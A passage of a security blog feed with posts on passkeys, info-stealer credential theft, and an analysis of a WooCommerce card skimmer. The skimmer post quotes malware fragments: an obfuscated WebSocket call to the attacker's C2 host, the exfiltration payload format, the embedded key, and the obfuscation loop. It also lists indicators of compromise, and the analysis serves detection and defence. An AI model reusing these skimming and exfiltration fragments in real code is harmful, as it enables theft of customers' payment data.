problems, but they can cause some particularly big problems when it comes to passkeys.</p><p>Passkeys remain the right direction, and I want to see widespread adoption of them, but the security boundary they replace (passwords) was a single secret on the wire. The boundary they introduce, a ceremony brokered by the user agent, only holds if the user agent, and everything injected into it, can be trusted. This is why XSS becomes deadly to passkeys.</p><p></p><p></p>
    <!--kg-card-begin: html-->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js" integrity="sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-markup.min.js" integrity="sha512-Ei5Vokmnc/f7vIt31aodVMuavT/xp2Lt5vGDYLgCzgBX/z5ghbZQfxt/9FkNs+RyG8IfBKAkdRsQQk4PZyHq5g==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css" integrity="sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==" crossorigin="anonymous" referrerpolicy="no-referrer">
    <style>
      pre[class*="language-"] {
          font-size: 0.75em;
      }
    </style>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-http.min.js" integrity="sha512-3KphgbiKTzK2CNxlSgUKypipTV7tWknO5czNb+E7H4CeHOOSer2s2rIOCTuz8NsY1zm+B9tP9Ul2JX/tmdyOYg==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-javascript.min.js" integrity="sha512-jwrwRWZWW9J6bjmBOJxPcbRvEBSQeY4Ad0NEXSfP0vwYi/Yu9x5VhDBl3wz6Pnxs8Rx/t1P8r9/OHCRciHcT7Q==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-json.min.js" integrity="sha512-QXFMVAusM85vUYDaNgcYeU3rzSlc+bTV4JvkfJhjxSHlQEo+ig53BtnGkvFTiNJh8D+wv6uWAQ2vJaVmxe8d3w==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <!--kg-card-end: html-->
    <p></p>]]></content:encoded></item><item><title><![CDATA[Passkeys 101: An Introduction to Passkeys and How They Work]]></title><description><![CDATA[<p>Passwords have been the weak point in online authentication for decades. They can be reused, guessed, stolen, phished, leaked, sprayed, stuffed, and captured by malware. Passkeys are one of the first mainstream authentication technologies that remove many of those problems entirely, and any website still relying on passwords should be</p>]]></description><link>https://scotthelme.ghost.io/passkeys-101-an-introduction-to-passkeys-and-how-they-work/</link><guid isPermaLink="false">6a060a6ed5ad2e0001eb50ed</guid><category><![CDATA[Passkeys]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 18 May 2026 09:16:29 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/introduction-to-passkeys.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/introduction-to-passkeys.png" alt="Passkeys 101: An Introduction to Passkeys and How They Work"><p>Passwords have been the weak point in online authentication for decades. They can be reused, guessed, stolen, phished, leaked, sprayed, stuffed, and captured by malware. Passkeys are one of the first mainstream authentication technologies that remove many of those problems entirely, and any website still relying on passwords should be seriously considering support for them.</p><p></p><h3 id="why-passwords-are-a-problem">Why passwords are a problem</h3><p>I think anyone reading this blog post will understand why passwords are a problem, but I&apos;m going to outline it here to set the scene for why passkeys are such a huge improvement. The truth is, passwords can be a pain, and we&apos;ve been fighting that pain for decades. We&#x2019;ve battled password strength requirements, password reuse, credential stuffing, password spraying, database leaks, trivial phishing, and the recent rise of info-stealer malware. We&#x2019;ve also had to build layers of defensive engineering around passwords, like salting, hashing, breached-password checks, and stronger password policies, just to make them survivable. The truth is, we&apos;ve been using passwords for so long because they were the best thing we had, not because they&apos;re great. </p><p>I first wrote about password security all the way back in 2013 (<a href="https://scotthelme.co.uk/password-security/?ref=scotthelme.ghost.io" rel="noreferrer">link</a>) and much more recently we&apos;ve had to bring a sharp focus on our handling of passwords at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>. I covered this in <a href="https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io" rel="noreferrer">Boosting password security! Pwned Passwords, zxcvbn, and more!</a> and then <a href="https://scotthelme.co.uk/under-attack-responding-to-the-rise-of-info-stealer-threats/?ref=scotthelme.ghost.io" rel="noreferrer">Under Attack: Responding to the Rise of Info-Stealer Threats</a> in just the last few months. Passwords continue to be a problem! 2FA has helped, and provided a much needed crutch for passwords over the years, but it doesn&apos;t solve the phishing problem which is arguably one of the biggest risks with passwords and current generation 2FA as my good friend Troy Hunt found out last year when he got his <a href="https://www.troyhunt.com/a-sneaky-phish-just-grabbed-my-mailchimp-mailing-list/?ref=scotthelme.ghost.io" rel="noreferrer">password and TOTP phished</a>. We need something better, much better.</p><p></p><h3 id="what-are-passkeys">What Are Passkeys?</h3><p>In really simple terms, passkeys are another way to authenticate a user. Just as a website might ask me for my username and password to authenticate me and log me in, they can instead rely on passkeys to do that, but with some considerable advantages. At their core, passkeys are just a pair of cryptographic keys, a public key and a private key. As their names would imply, the public key can be made public and shared with the website, whilst the private key remains private and secure on your device, not being shared with anyone. In many cases, that private key is protected by the same mechanism you already use to unlock your device or password manager, such as biometrics, a PIN, or a local device unlock.</p><p></p><h3 id="how-passkeys-work-at-a-high-level">How Passkeys Work at a High Level</h3><p>It&apos;s surprisingly easy to give an overview of how passkeys work, both in terms of creating a passkey, and then using that passkey to access your account. Here&apos;s a diagram that details the entire process.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image.png" class="kg-image" alt="Passkeys 101: An Introduction to Passkeys and How They Work" loading="lazy" width="1742" height="1307" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/05/image.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image.png 1742w" sizes="(min-width: 720px) 720px"></figure><p></p><p>The first step of this process is known as Registration. This is when you create your key pair, securely store your private key on your device and share your public key with the website in question. The website will then store this public key against your account so they know it&apos;s yours. The passkey has now been registered and is ready to use!</p><p>The second step of the process is Authentication. This is when you then come to prove who you are by utilising your previously registered passkey. The website will issue a challenge to you and you must sign that challenge with your private key. You then return this signed challenge to the website which can validate that signature with your public key. This proves that whoever the website is talking to can use the private key associated with that account. Because the private key is protected by your device or passkey provider, that gives the website strong evidence that it is talking to you.</p><p></p><h3 id="why-passkeys-are-better">Why Passkeys Are Better</h3><p>There are a few different areas where passkeys excel when compared to passwords, and each of them is compelling, so I&apos;m going to talk about all of the main advantages.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.1rem;">Phishing Resistance</h4>
    <!--kg-card-end: html-->
    <p>Undoubtedly, this has to be the single biggest advantage of using passkeys; they are incredibly resistant to phishing. You can be tricked into giving up your password by mistake, you can be tricked into giving up your 6-digit TOTP code by mistake, but you can&apos;t be tricked into giving up your passkey by mistake. When you register your passkey and it&apos;s stored on your device, your device will lock that passkey to the origin that it can be used for. That means if you create a passkey on <code>report-uri.com</code>, but then find yourself on a phishing website like <code>rep0rt-ur1.com</code> that&apos;s impersonating us and is trying to phish your credentials, your device will simply not allow you to use your passkey because you are not in the right place. Your device now knows where your passkey can be used, and it will not let you use it anywhere else, which is a protection that can&apos;t be offered for passwords.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.1rem;">No More Weak Passwords</h4>
    <!--kg-card-end: html-->
    <p>Everyone knows that we can create weak passwords if we wanted to, but you can&apos;t create a weak passkey. Because the generation of the passkey is handled by your device, you can be sure that you&apos;re always generating a strong passkey and don&apos;t run into similar risks posed by using a weak password. Nobody is going to be able to guess your passkey like they might be able to guess a weak password, because you&apos;ll never have a weak passkey.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.1rem;">No More Password Reuse</h4>
    <!--kg-card-end: html-->
    <p>There&apos;s nothing stopping you from reusing your password across different services, but your device is required to create a new, unique passkey for each website that you register with. This means that there are no shared passkeys across different services and another category of risk is eliminated.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.1rem;">No More Credential Stuffing or Password Spraying</h4>
    <!--kg-card-end: html-->
    <p>Largely as a consequence of the above two points, an attacker can&apos;t use these two common and effective strategies for trying to gain access to accounts that they shouldn&apos;t have access to. With no more weak and/or reused credentials, you can say goodbye to some pretty serious problems.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.1rem;">No Shared Secret in your Database</h4>
    <!--kg-card-end: html-->
    <p>When adding a passkey to an account, the website is required to store the public key in their database. The public key, as we mentioned and as hinted by its name, is not a secret! This means that in the event of a database breach, there isn&apos;t an additional piece of sensitive information in there to be compromised and all the attacker has managed to gain access to is the public key of the user. The private key remains safe and secure on the user&apos;s device that created it.</p><p></p><h3 id="conclusion">Conclusion</h3><p>Passkeys are a major step forward, but they aren&apos;t magic. They remove many password-era risks, especially phishing and credential reuse, but they also introduce new implementation and threat-model questions. I&#x2019;ll be digging into one of those in much more detail in my next post.</p><p>We recently launched support for passkeys on Report URI and you can read about that here: <a href="https://scotthelme.co.uk/launching-passkeys-support-on-report-uri/?ref=scotthelme.ghost.io" rel="noreferrer">Launching Passkeys support on Report URI!</a> We also had our passkeys implementation penetration tested, <a href="https://scotthelme.co.uk/bringing-in-the-experts-having-our-passkeys-implementation-security-tested/?ref=scotthelme.ghost.io" rel="noreferrer">Bringing in the experts; Having our Passkeys implementation Security Tested</a>. As you can see, we&apos;re pretty serious about passkeys!</p><p>With that said, there are some new considerations and risks that using passkeys brings, and I&apos;ve just started to cover those in <a href="https://scotthelme.co.uk/security-considerations-when-using-passkeys-on-your-website/?ref=scotthelme.ghost.io" rel="noreferrer">Security considerations when using Passkeys on your website</a>. That blog post links out to our whitepaper on the problem, but I will also be writing a more detailed blog post with some new information in the coming days, so make sure to subscribe so you&apos;re notified when I publish that!</p><p></p>]]></content:encoded></item><item><title><![CDATA[Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive]]></title><description><![CDATA[<p>One malicious change to a trusted JavaScript file can turn your checkout page into a silent credit-card skimmer, siphoning customer data off to criminals while the website looks secure and continues to work as normal. That creates serious organisational risk: PCI exposure, regulatory consequences, reputational damage, and a breach</p>]]></description><link>https://scotthelme.ghost.io/anatomy-of-a-woocommerce-skimmer-a-technical-deep-dive/</link><guid isPermaLink="false">69ef62b5417e7e00019a58ca</guid><category><![CDATA[Report URI]]></category><category><![CDATA[magecart]]></category><category><![CDATA[WooCommerce]]></category><category><![CDATA[javascript]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Fri, 15 May 2026 14:22:57 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/woocomerce-skimmer.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/woocomerce-skimmer.png" alt="Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive"><p>One malicious change to a trusted JavaScript file can turn your checkout page into a silent credit-card skimmer, siphoning customer data off to criminals while the website looks secure and continues to work as normal. That creates serious organisational risk: PCI exposure, regulatory consequences, reputational damage, and a breach that remains invisible until long after the damage is done.</p><p>We recently became aware of exactly this kind of compromise, where an attacker modified a JavaScript file on disk and injected malware into it. At first glance, that might seem like an unusual choice. If an attacker has enough access to modify files on the server, why settle for injecting JavaScript into an existing library?</p><p>In this case, there&#x2019;s a very good reason: the data they wanted to steal only existed in the browser, so that&apos;s where their malicious code needed to run.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/report-uri-logo.png" class="kg-image" alt="Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/report-uri-logo.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="an-unusual-choice">An unusual choice</h3><p>If I&apos;d found a way to compromise a host to the point where I could modify files on disk, I&apos;m not sure that injecting JavaScript malware into an existing file would be my first choice when it came to deciding my course of action. Yet, here we are!</p><p>Looking at the website in question, my best guess would be a vulnerable WordPress plugin has allowed some level of remote access to the attackers and they&apos;ve leveraged that to modify an existing JS file. The compromised file was an existing and legitimate JS library, and the malware was injected at the start of the file, leaving the original library code intact later in the file. This is a common tactic aimed at reducing the disruption the injection causes as all original functionality remains, reducing the likelihood of being discovered.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-8.png" class="kg-image" alt="Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive" loading="lazy" width="1693" height="774" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-8.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/04/image-8.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-8.png 1693w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Given that their goal was clearly to skim payment card data, it also explains why their chosen course of action was to modify an existing JS asset rather than leverage much more powerful server-side access: The payment card data doesn&apos;t exist on the server, only on the client, so that&apos;s where they have to target it!</p><p></p><h3 id="evasion-and-anti-detection-techniques">Evasion and Anti-Detection Techniques</h3><p>Rather than add their own file to the page and load the malware in that way, the attackers inserted their code in an existing file, and did so in a way that would not interrupt how it worked. The injected code uses a rotating string array with RC4 encryption and per-call decryption keys (the same technique used by<br>professional JavaScript obfuscation products!), and a reversed, base64-encoded C2 URL:</p><pre><code>c3cvbW9jLm5kYy10c2V1cWVyLy86c3N3
    sw/moc.ndc-tseuqer//:ssw
    wss://request-cdn.com/ws</code></pre><p></p><p>On top of this, after the malicious code establishes its WebSocket connection, it then removes itself to avoid detection.</p><p></p><h3 id="data-theft">Data Theft</h3><p>Looking at the code and the fields on the page that it targets, it&apos;s pretty clear it&apos;s specifically designed for WooCommerce checkouts. The CSS selectors include every standard checkout field like <code>#billing_</code><em>, <code>#shipping_</code>, </em>etc... Not only is it targeting specific fields, the skimmer isn&apos;t just blindly exfiltrating data, it&apos;s doing validation on the data before it exfiltrates it. For the card number, it&apos;s using the <a href="https://en.wikipedia.org/wiki/Luhn_algorithm?ref=scotthelme.ghost.io" rel="noreferrer">Luhn Algorithm</a> to check that it&apos;s a valid card number, and it&apos;s also validating that the expiry date is a date in the future too!</p><p>On top of the desirable card data, it&apos;s also capturing other identity data that is present alongside the card data. This potentially includes your email address, phone number, full address including street/city/postcode/country, your browser UA and the hostname of the site. The code polls these fields in a loop every 500ms, presumably to catch autofill, paste, or JS-set values that don&apos;t trigger input or change events, but also progressively captures the data as you&apos;re typing, meaning it doesn&apos;t rely on an action like form submission for the exfiltration of complete data to happen. If you type in all of your card details and then have second thoughts about your purchase, it&apos;s already too late!</p><p>The final point that stood out to me is that the skimmer keeps a local record of card data that&apos;s already been stolen in localStorage, so if you were to return to the site and make another purchase using the same payment card, the skimmer wouldn&apos;t steal it a second time. How nice of them. </p><p></p><h3 id="data-exfiltration-mechanism">Data Exfiltration Mechanism</h3><p>Once the skimmer has identified some data that passes local validation and it wants to exfiltrate that data, it does so via a WebSocket over TLS. The data is sent to <code>wss://request-cdn.com/ws</code> in real-time using a simple JSON payload. </p><p></p><pre><code class="language-json">{
        &quot;method&quot;: &quot;data&quot;,
        &quot;host&quot;: &quot;victim-site.com&quot;,
        &quot;data&quot;: &quot;*card data here*&quot;
    }</code></pre><p></p><p>Although TLS protects the transmission itself, any security tool terminating and inspecting outbound TLS could still spot payment card data leaving the browser. To avoid this, the malware hides the card data by encrypting it with AES-256-GCM using a PBKDF2-derived key (100,000 iterations, SHA-256) before being sent, and the decryption key (<code>e2c6b94cc6b4</code>)  is embedded in the payload. This isn&apos;t an additional security mechanism to protect the card data, this is another evasion technique.</p><p>Along with a buffer in <code>localStorage</code> to handle multi-step payment flows or interruptions, a keepalive ping on the WebSocket, and even reconnection logic with backoff handling, I&apos;d say there&apos;s a robust strategy in place to make sure this data is going to be exfiltrated!</p><p></p><h3 id="infrastructure">Infrastructure</h3><p>C2 domain: <code>request-cdn.com</code> (mimics a CDN, registered 24th March 2026)<br>C2 IP: <code>69.40.207.105</code><br>Protocol: WebSocket over TLS (wss://)<br>Campaign ID: <code>e2c6b94cc6b4</code> (used as encryption key, unique per victim site)<br>Target platform: WooCommerce (WordPress)<br>Delivery vehicle: Modified <code>blazy.min.js</code> theme asset</p><p></p><h3 id="code-obfuscation-techniques">Code Obfuscation Techniques</h3><p>I mentioned that the code obfuscation being used was quite advanced and whilst I don&apos;t want to delve into it too much as it doesn&apos;t really affect the outcome or the purpose of this script, I thought it was interesting and worth covering at a high level.</p><p>Any readable string in the code &#x2014; method names, property names, URLs, algorithm names &#x2014; are stripped out and dumped into a single, giant array. Instead of the code saying something like:</p><p></p><pre><code>localStorage.setItem(&apos;TTxxp&apos;, data);
    new WebSocket(&apos;wss://request-cdn.com/ws&apos;);</code></pre><p></p><p>Every string is replaced with a function call that looks up the array at runtime:</p><p></p><pre><code>localStorage[R(0x22b,&apos;73VL&apos;)](R(0x1aa,&apos;N@oZ&apos;), data);
    new WebSocket(R(0x26d,&apos;Mb$3&apos;));</code></pre><p></p><p>There are no readable strings <em>anywhere</em> in the code. A human reading it sees nothing but hex numbers and short, random-looking keys.</p><p>The strings in the array aren&apos;t stored in plain text either &#x2014; they&apos;re individually encrypted using the RC4 stream cipher. So, even if you dump the array, you just get a list of random-looking base64 blobs like these:</p><p></p><pre><code>&apos;WQtdUGxdQSodW7a&apos;, &apos;p0hdIL5wlCoP&apos;, &apos;W5iRx8oghaRdMq&apos; ...</code></pre><p></p><p>The <code>R()</code> function, or <code>a0j()</code> in the loader, decrypts each entry on demand using a two-step process &#x2014; first base64-decode the blob, then run RC4 on it to get the<br>plaintext back. To make this even more tricky, the payload uses per-call decryption keys. Each call to R() passes a different key:</p><p></p><pre><code>R(0x22b, &apos;73VL&apos;) // &#x2192; &quot;setItem&quot;
    R(0x1aa, &apos;N@oZ&apos;) // &#x2192; &quot;TTxxp&quot;
    R(0x26d, &apos;Mb$3&apos;) // &#x2192; &quot;wss://&quot;</code></pre><p></p><p>The second argument (<code>&apos;73VL&apos;</code>, <code>&apos;N@oZ&apos;</code>, <code>&apos;Mb$3&apos;</code>) is the RC4 key for that specific string. Every string in the array is encrypted with a different key, hardcoded at its<br>call site. This means:</p><ol><li>We couldn&apos;t decrypt the whole array in one go &#x2014; you need to know which key goes with which index and use the right one.</li><li>Automated tools that try to extract string arrays will get garbage unless they also trace every individual call.</li></ol><p></p><p>Further to this, at start up, the payload runs through a self-checking loop and shuffles/rotates the array.</p><p></p><pre><code>while(!![]){
    try {
    const j = parseInt(...) / 1 + parseInt(...) / 2 * ...
    if(j === 0x87dfa) break;
    else S&apos;push&apos;;
    } catch(c) { S&apos;push&apos;; }
    }</code></pre><p></p><p>It keeps rotating the array &#x2014; moving the first element to the end, over and over &#x2014; until a specific arithmetic check across multiple entries produces the exact target<br>value of <code>0x87dfa</code>. This means:</p><ol><li>The array indices in source code don&apos;t correspond to their actual positions until the correct rotation is found.</li><li>You can&apos;t statically know which entry is at index 28 without running or simulating the shuffle to completion.</li><li>It defeats simple array extraction because the indices only make sense after rotation</li></ol><p></p><p>All in all, there are some pretty advanced techniques at play here, all designed to make it more difficult to detect and stop this attack.</p><p></p><h3 id="how-report-uri-would-have-caught-this">How Report URI would have caught this</h3><p>This is <em>exactly</em> the kind of attack Report URI can catch &#x2014; and it would have tripped two separate alarms. <a href="https://report-uri.com/products/csp_integrity?ref=scotthelme.ghost.io" rel="noreferrer">CSP Integrity</a> fingerprints your JavaScript assets using our <a href="https://report-uri.com/solutions/javascript_integrity_monitoring?ref=scotthelme.ghost.io" rel="noreferrer">JavaScript Integrity Monitoring</a> feature so you can know the instant one of your JS assets changes; the moment <code>blazy.min.js</code> was modified on disk and served to the very first visitor, you&apos;d have known. If that wasn&apos;t enough, the exfil itself was loud: a CSP with <code>connect-src</code> scoped to your own infrastructure blocks the <code>wss://request-cdn.com/ws</code> connection outright, stopping the exfiltration, and Report URI&apos;s reporting endpoint surfaces the violation the first time a victim hits checkout and sends you a notification. Either control on its own detects or stops this campaign; together they provide robust protection. If you run WooCommerce &#x2014; or any page where payment card data touches the browser &#x2014; these controls aren&#x2019;t nice-to-haves. They&#x2019;re the difference between spotting a compromise within minutes, or discovering it months later during breach notifications, chargebacks, or forensic investigation.</p><p></p><h3 id="indicators-of-compromise">Indicators of Compromise</h3><p>C2 Domain: <code>request-cdn.com</code> (registered 24th March 2026)<br>C2 IP: <code>69.40.207.105</code></p><p>If you want visibility into threats like this on your own site, you can start a 30-day free trial at&#xA0;<a href="https://report-uri.com/?utm_source=scotthelme.co.uk">Report URI</a>. Our&#xA0;<a href="https://report-uri.com/solutions/javascript_integrity_monitoring?utm_source=scotthelme.co.uk">JavaScript Integrity Monitoring</a>&#xA0;solution takes less than a minute to deploy and can begin collecting useful browser-side telemetry immediately.</p><p></p>]]></content:encoded></item><item><title><![CDATA[Under Attack: Responding to the Rise of Info-Stealer Threats]]></title><description><![CDATA[<p>We recently received a claim that <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> had been breached and that customer credentials had been stolen. The claim was false: we do not store passwords in a recoverable format. But the credentials themselves <em>were</em> real, and that made the situation more interesting.</p><p>They appeared to come from info-</p>]]></description><link>https://scotthelme.ghost.io/under-attack-responding-to-the-rise-of-info-stealer-threats/</link><guid isPermaLink="false">69bbb64cbfb9340001a6c265</guid><category><![CDATA[Report URI]]></category><category><![CDATA[Info Stealer]]></category><category><![CDATA[Pwned Passwords]]></category><category><![CDATA[Have I Been Pwned]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 11 May 2026 13:10:11 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/info-stealer-header.webp" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/info-stealer-header.webp" alt="Under Attack: Responding to the Rise of Info-Stealer Threats"><p>We recently received a claim that <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> had been breached and that customer credentials had been stolen. The claim was false: we do not store passwords in a recoverable format. But the credentials themselves <em>were</em> real, and that made the situation more interesting.</p><p>They appeared to come from info-stealer malware: compromised devices where usernames, passwords, cookies and other sensitive data had been harvested. This post walks through what happened, why our existing controls helped but we wanted to improve, and the new account lockout process we&#x2019;ve introduced as a result.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo.png" class="kg-image" alt="Under Attack: Responding to the Rise of Info-Stealer Threats" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="info-stealers">Info Stealers</h3><p>The first thing we need to do is understand the specific threat we&apos;re dealing with here. Info Stealers are a serious problem for services like ours because of how they operate. Info-stealer malware will infect a device and then start to harvest sensitive data from that device, which could include anything like usernames, passwords, payment card details, cookies from your browser, documents, and much, much more. If one of our customers is using a device that has been infected with info-stealer malware, our primary concern is that the account credentials have been compromised, which is what happened in this case. The email address and password for a Report URI account is accessed by the malware on the user&apos;s device when it is used to login...</p><p>As a website operator, despite the multiple layers of account security we have, no online service can fully defend against this type of threat. If the user&apos;s device is compromised and their account credentials are harvested directly from it, we have to acknowledge the limits of our own capabilities as a website, and that those credentials are going to be taken.</p><p></p><h3 id="existing-account-security-controls">Existing Account Security Controls</h3><p>We&apos;re pretty open about how we do things at Report URI, and we&apos;ve already published a lot of information about how we handle account security. You can read my full blog post on <a href="https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io" rel="noreferrer">boosting password security</a>, but here&apos;s a summary of the existing measures we have in place:</p><p></p><h4 id="zxcvbn">zxcvbn</h4><p>If you haven&apos;t heard of <a href="https://github.com/dropbox/zxcvbn?utm_source=scotthelme.co.uk" rel="noreferrer">zxcvbn</a>, you should absolutely go and check it out. It&apos;s a reliable password strength estimator created by Dropbox, and we use it to test how strong a password is when a user is trying to use it. If the password doesn&apos;t meet our complexity requirements, it isn&apos;t allowed to be used.</p><p></p><h4 id="password-managers">Password Managers</h4><p>We have a variety of different measures in place to improve the effectiveness of Password Managers. On form elements we tell a password manager to create a <em>crazy</em> strong password, we provide information on where our password change endpoints are so it can be done automatically by your password manager, we hint which account is currently logged in so password managers know which entry to use, and a whole range of other quality of life attributes.</p><p></p><h4 id="two-factor-authentication">Two-Factor Authentication</h4><p>We support TOTP 2FA on Report URI, and organisations have the ability to require that their team members have 2FA enabled on their account to access company data. We strongly recommend that any user has 2FA enabled, and you should keep an eye out for 2FA related announcements in the next week or so...</p><p></p><h4 id="password-hashing">Password Hashing</h4><p>When storing user passwords, we hash them with the bcrypt hashing algorithm, configured with a work factor of 10 and a 128-bit salt. In our chosen language of PHP, that looks like this:</p><pre><code class="language-php">password_hash($password, PASSWORD_DEFAULT)</code></pre><p></p><h4 id="bot-mitigation">Bot Mitigation</h4><p>Using a variety of approaches, we work to detect automated behaviour against sensitive endpoints like login or password reset. By trying to detect and stop bots, we can prevent automated attacks that are using stolen credentials, or are trying to guess credentials by trying them against the site. </p><p></p><h4 id="pwned-passwords">Pwned Passwords</h4><p>We make use of the <a href="https://haveibeenpwned.com/Passwords?ref=scotthelme.ghost.io" rel="noreferrer">Pwned Password API</a> with their k-anonymity model to query for compromised passwords that have appeared in data breaches. This prevents users from using a password that is known to have been previously compromised.</p><p></p><h3 id="none-of-that-matters">None of that matters</h3><p>And this is the problem! Despite all of the work that we&apos;ve done above, if an info-stealer malware has infected a device and reads the user&apos;s password right off the keyboard, the attacker now has the email address and password, can head right to the login page and successfully login to the account. Despite that, this did identify an avenue for us to improve our processes and offer a little more protection to our users, over and above what we were already offering.</p><p>2FA still matters enormously here because it can stop a stolen password from being enough on its own. But the point remains: once the password itself is known to be compromised, we should not allow it to continue being used.</p><p></p><h3 id="our-existing-process">Our existing process</h3><p>As I mentioned above, we use the Pwned Passwords API to query for passwords that our users are using so we can see if they have been compromised. That sounds like it might be a really bad idea at face value, but the k-anonymity model that the API uses means that <strong>we never send your password</strong> to the API, so this doesn&apos;t introduce any security or privacy concerns. It does, however, allow us to know if that particular password has been observed in a data breach. Head on over to the Report URI <a href="https://report-uri.com/register/?ref=scotthelme.ghost.io" rel="noreferrer">registration page</a> and try to register with the password &quot;correcthorsebatterystaple&quot; (<a href="https://xkcd.com/936/?ref=scotthelme.ghost.io" rel="noreferrer">source</a> if you don&apos;t get the reference), which is a reasonably strong password and will pass our complexity requirements, but it has also been compromised...</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-12.png" class="kg-image" alt="Under Attack: Responding to the Rise of Info-Stealer Threats" loading="lazy" width="477" height="802"></figure><p></p><p>You&apos;re not allowed to use this password because the Pwned Passwords API tells us that it has been previously observed in a data breach. You can head to the <a href="https://haveibeenpwned.com/Passwords?ref=scotthelme.ghost.io" rel="noreferrer">Pwned Passwords website</a> and test this for yourself to see the results.</p><p>This is a great feature, and it will stop you using a password that has been breached, and we also apply the same protection on the password reset process too, so you can&apos;t change to a breached password. But what happens if the password is breached <em>after</em> you set it up on our service?</p><p></p><h3 id="identifying-the-gap">Identifying the gap</h3><p>The problem we have here is 